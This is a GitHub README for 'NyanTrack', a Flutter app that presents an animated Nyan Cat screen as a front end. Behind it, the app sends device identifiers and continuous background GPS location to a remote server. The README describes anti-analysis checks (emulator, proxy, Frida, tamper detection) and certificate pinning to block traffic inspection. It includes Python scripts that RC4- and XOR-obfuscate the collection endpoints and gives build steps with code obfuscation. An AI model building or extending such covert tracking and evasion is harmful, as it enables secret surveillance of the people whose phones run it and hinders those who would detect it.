Skip to content

t0kubetsu/NyanTrack

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

31 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

NyanTrack

A Flutter-based mobile application featuring an animated Nyan Cat interface combined with background device telemetry and location tracking capabilities.

The application demonstrates:

  • Animated asset rendering using low-level image decoding
  • Audio playback integration
  • Runtime permission handling
  • Background foreground services
  • Continuous GPS tracking
  • Device information collection
  • Root / jailbreak detection
  • Remote JSON API communication

Features

πŸ” Root / Jailbreak & Environment Integrity Detection

The application performs a comprehensive security check at startup using the jailbreak_root_detection package.

Before initializing core services, the app verifies the integrity of the runtime environment. If any security issue is detected, the application will not continue execution and instead displays a dedicated security error screen.

Checks Performed

The following validations are executed:

  • Jailbreak / Root detection
  • Emulator / simulator detection
  • Proxy detection
  • Dev mode detection
  • Reverse engineering check
  • Frida / Cydia detection
  • Tamper detection
  • External storage installation check

If any of these checks indicate a problem, the app:

  • Stops normal initialization
  • Displays a full-screen security warning
  • Allows the user to exit the application

🎨 Animated Interface

The application includes a simple animated Nyan Cat interface with looping audio playback. This UI serves as a lightweight front-end layer while background services handle data collection and transmission.

πŸ“± Device Information Collection

On startup, the application collects device metadata using device_info_plus.

Depending on platform, the following data may be gathered:

Android

  • Manufacturer
  • Brand
  • Model
  • Device / Product name
  • Hardware details
  • Fingerprint
  • Bootloader
  • Display
  • Host
  • SDK version
  • Android version
  • Supported ABIs (32/64-bit)
  • Physical device indicator
  • Device ID

iOS

  • Device name
  • Model
  • System name and version
  • Identifier for vendor
  • UTS system information
  • Physical device indicator

Web

  • Browser name
  • User agent
  • Platform
  • Vendor
  • Language

Additional metadata:

  • OS name
  • OS version
  • Locale
  • Timestamp

The collected data is serialized as JSON and sent to a remote HTTP endpoint defined in:

AppConstants.deviceEndpoint

πŸ“ Background Location Tracking

The app includes a background location tracking service built with:

  • flutter_background_service
  • geolocator

Behavior

  • Requests foreground and background location permissions
  • Starts a foreground service (Android)
  • Subscribes to a continuous position stream
  • Retrieves GPS coordinates approximately every 30 seconds
  • Sends location data to a remote server

Each location payload contains:

{
  "latitude": <double>,
  "longitude": <double>,
  "timestamp": <epoch_ms>,
  "device_id": "<string>"
}

Data is transmitted to:

AppConstants.locationEndpoint

Application Flow

  1. Flutter bindings are initialized.
  2. Device information is collected and sent to the server.
  3. Notification and location permissions are requested.
  4. If background location permission is granted:
    • A foreground service is started.
    • Location tracking begins.
  5. UI loads animated frames and audio assets.
  6. The home screen renders the animated interface.

Permissions

The application requests the following permissions:

  • Location (foreground)
  • Location (background / always)
  • Notifications
  • Foreground service (Android)

These are required for continuous background tracking and service persistence.

Network Communication

All outbound requests are sent to remote API endpoints defined in:

lib/app_constants.dart

Security

The application enforces SSL certificate pinning using the http_certificate_pinning package.

This ensures that:

  • The server certificate must match a pre-configured SHA-256 fingerprint
  • Connections to servers presenting unexpected certificates are rejected
  • Man-in-the-middle (MITM) attacks using custom or rogue CAs are prevented

If the certificate fingerprint does not match the pinned value, the request will fail and no data will be transmitted.

Request Characteristics

All requests:

  • Use HTTPS
  • Use HTTP POST
  • Send JSON-encoded payloads
  • Include a timestamp field
  • Require a valid pinned certificate

Updating the Pinned Certificate

When the server certificate changes (e.g., renewal, re-issuance), the SHA-256 fingerprint must be updated in the application configuration.

You can retrieve the current certificate fingerprint using:

openssl s_client -connect <domain>:443 -servername <domain> -showcerts </dev/null 2>/dev/null \
| awk '/BEGIN CERTIFICATE/{flag=1} flag{print} /END CERTIFICATE/{exit}' \
| openssl x509 -noout -fingerprint -sha256

This command:

  1. Connects to the remote server
  2. Extracts the leaf certificate
  3. Computes its SHA-256 fingerprint

The resulting fingerprint should be added to the pinning configuration in the application source code.

Endpoint Obfuscation

API endpoint strings and the RC4 decryption key are obfuscated at rest inside app_constants.dart. They are never stored as plaintext in the binary. Two Python helper scripts are provided to regenerate the obfuscated values when endpoints or the key change.

How it works

  1. RC4 encryption β€” each endpoint string is RC4-encrypted with a secret key. The resulting ciphertext is stored as a hex literal in the source code.
  2. Key obfuscation β€” the RC4 key itself is obfuscated with a secondary XOR-based transformation and stored as a byte array. At runtime _decryptKey() reverses the transformation to recover the plaintext key, which is then used to decrypt the endpoints via RC4.decrypt().

Script 1 β€” Obfuscate the RC4 key

Use this script whenever you change the RC4 key or the secondary XOR key. It outputs the two List<int> constants to paste into app_constants.dart.

def obfuscate_key(plain_key: str, xor_key: str) -> list[int]:
    xor_bytes = [ord(c) for c in xor_key]
    result = []
    for i, ch in enumerate(plain_key):
        k = xor_bytes[i % len(xor_bytes)]
        x = ord(ch)
        x = (x + k) & 0xFF
        x = (x ^ k) & 0xFF
        x = (x - k) & 0xFF
        result.append(x)
    return result

xor_key = "Q**********k"
rc4_key = "Z**********************a"

obfuscated = obfuscate_key(rc4_key, xor_key)

print("static const List<int> _obfuscatedKey = [")
print("  " + ", ".join(f"0x{b:02X}" for b in obfuscated))
print("];")
print("static const List<int> _xorKey = [")
print("  " + ", ".join(f"0x{ord(b):02X}" for b in xor_key))
print("];")

Note: The obfuscation transform applied here is the exact inverse of the _decryptKey() function in app_constants.dart. The decrypt function applies +k, ^k, -k in that order, so the encrypt function applies them in reverse: +k, ^k, -k again (XOR is self-inverse; add/subtract swap roles).

Script 2 β€” RC4-encrypt endpoint strings

Use this script whenever you change a server endpoint URL. It outputs the hex ciphertext strings to paste into app_constants.dart as _base, _encLocationPath, and _encDevicePath.

def rc4_encrypt(key: str, plaintext: str) -> str:
    key_bytes = key.encode("utf-8")
    data = plaintext.encode("utf-8")

    # KSA
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key_bytes[i % len(key_bytes)]) % 256
        S[i], S[j] = S[j], S[i]

    # PRGA
    x = y = 0
    output = []
    for byte in data:
        x = (x + 1) % 256
        y = (y + S[x]) % 256
        S[x], S[y] = S[y], S[x]
        output.append(byte ^ S[(S[x] + S[y]) % 256])

    return bytes(output).hex()

key = "Z**********************a"

endpoints = [
    "https://<domain_name>/",
    "location",
    "device",
]

for ep in endpoints:
    encrypted = rc4_encrypt(key, ep)
    print(f'"{ep}" -> "{encrypted}"')

The script encrypts the base URL, the location path suffix, and the device path suffix separately. At runtime locationEndpoint and deviceEndpoint concatenate the decrypted base with the decrypted path suffix.

Workflow for updating endpoints

  1. Update the URL strings in the script above.
  2. Run the script to obtain new hex ciphertext values.
  3. Replace _base, _encLocationPath, and _encDevicePath in app_constants.dart.
  4. If the RC4 key also changed, run Script 1 first and update _obfuscatedKey and _xorKey accordingly.
  5. Rebuild the application.

Dependencies

Key packages used:

  • jailbreak_root_detection
  • http_certificate_pinning
  • flutter_background_service
  • geolocator
  • device_info_plus
  • permission_handler
  • just_audio

Building the Application

To build the Android APK:

flutter clean
flutter pub get
flutter build apk

To build a release APK with Dart code obfuscation:

flutter build apk --release --obfuscate --split-debug-info=debug-info

Output location:

build/app/outputs/flutter-apk/

About

Flutter mobile app with animated UI, background GPS tracking, device telemetry collection, root/jailbreak detection, and SSL-pinned secure API communication.

Topics

Resources

Stars

Watchers

Forks

Contributors